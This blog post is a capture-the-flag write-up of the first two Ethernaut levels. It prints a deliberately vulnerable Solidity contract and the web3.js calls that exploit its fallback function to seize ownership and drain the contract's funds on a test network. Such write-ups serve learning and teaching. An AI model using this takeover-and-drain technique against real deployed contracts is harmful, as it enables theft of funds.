Ethernaut – Part 1

I recently came across Ethernaut, a game about finding issues with Ethereum smart contracts and breaking them. I do enjoy a capture the flag and I know practically nothing about smart contracts, so it seems like a fun thing to attempt to chip away at.

I’ve currently managed to do the first two challenges, the second which took me a very long time to do, as the challenges assume a small bit of experience in web3.js and the general tool chain.

Anyway, I’ll put my solutions below. Obviously spoilers.

Prerequisites

  1. A Metamask wallet. Metamask is a browser plugin that lets you join an Ethereum network and also exposes a wallet you can use in browser land.
  2. Etherum in a wallet associated with the Ropsten Test Network. You can get this from the Ropsten Faucet. The Ropsten Test Network, you guessed it, is for testing dApps (Distributed Apps) before they go to production land.

Once you have the above, you can start the challenges.

Level 0 – Hello Ethernaut

This is really more of a tutorial with interacting with their game environment. Once you have a metamask wallet set up and connect it to the Ropsten Test Network, you can get a new instance and load up your javascript console (F12 in most browsers).

The following is how I solved the level:

await contract.info()
await contract.info1()
await contract.info2("hello")
await contract.infoNum()
await contract.info42()
await contract.theMethodName()
await contract.method7123949()
await contract.password()
await contract.authenticate("ethernaut0")
await contract.getCleared()

Hit submit and get some great console art.

Level 1 – Fallback

This was the real first level. It gave a contract to scrutinise and some rough hints. The contract is below:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallback is Ownable {

    mapping(address => uint) public contributions;

    function Fallback() public {
        contributions[msg.sender] = 1000 * (1 ether);
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether); 
        contributions[msg.sender] += msg.value; 
        if(contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint) {
         return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        owner.transfer(this.balance);
    }

    function() payable public {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

The functions of interest are contribute and the final function, which has no name and is known as the fallback function.  There is also a contract level mapping variable (contributions) which tracks addresses to money in the contract.

contributions is initialised as empty except for the owner with 1 Eth.

contribute() records any contributions from other addresses, rejects any that have a value over 0.001 Eth, and will swap ownership of the contract if some contributes more than 1 Eth. Which is possible, but would require at least 1000 calls of this function to trigger the ownership change.

The fallback function is a bit more interesting. If it is called with a value, and the address calling it has already contributed to the contract already, it will transfer ownership. This is our route to own this contract.

So the action plan is:

  1. Contribute to the contract legitimately
  2. Trigger the fallback and claim ownership
  3. Drain the contract

Seems simple, but at the time I had no knowledge of web3.js so it turned out being much more difficult than I had anticipated!

So, first off, how to pay a function?!
await contract.contribute({from: player, value:toWei(0.0009)})

This calls the contribute function on the contract with a value of 0.0009 which, crucially, gets past the requirement of < 0.001 Eth. All values need to be in Wei for web3 transactions which can be achieved with the web3 function toWei().

This creates a transaction to be mined, and once it has finished, sure enough, the contract shows that we have contributed when we check the contribution mapping with await contract.contributions(player).

Great, Step 1 complete. Also, we have successfully managed to call a payable function through the ABI (Application Binary Interface).

This conveniently create an object-like interface in javascript to call contract functions. The ABI provides syntactic sugar so that

await contract.contribute({from: player, value:toWei(0.0009)})

is actually calling

sendTransaction({from: player, value: toWei(0.0009), to: instance, data: "0xd7bb99ba"})

To complete Step 2, we need to trigger the fallback function. The way to do that is to pay the contract via a function that doesn’t exist. Functions are normally encoded in the ABI, so by setting the data field to junk we should trigger the fallback.

sendTransaction({from: player, value: toWei(0.0009), to: instance, data: "0x99999999"})

A quick check of the contract owner with await contract.owner() shows that the address is equal to player. Step 2 complete!

Step 3 is an easy await contract.withdraw() and once that is done, the instance can be submitted.


I’ve done 2 levels so far (although, honestly its only one that wasn’t a tutorial) and I’m really enjoying playing with smart contracts. Hopefully I will solve the next level and will be able to post my solution.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.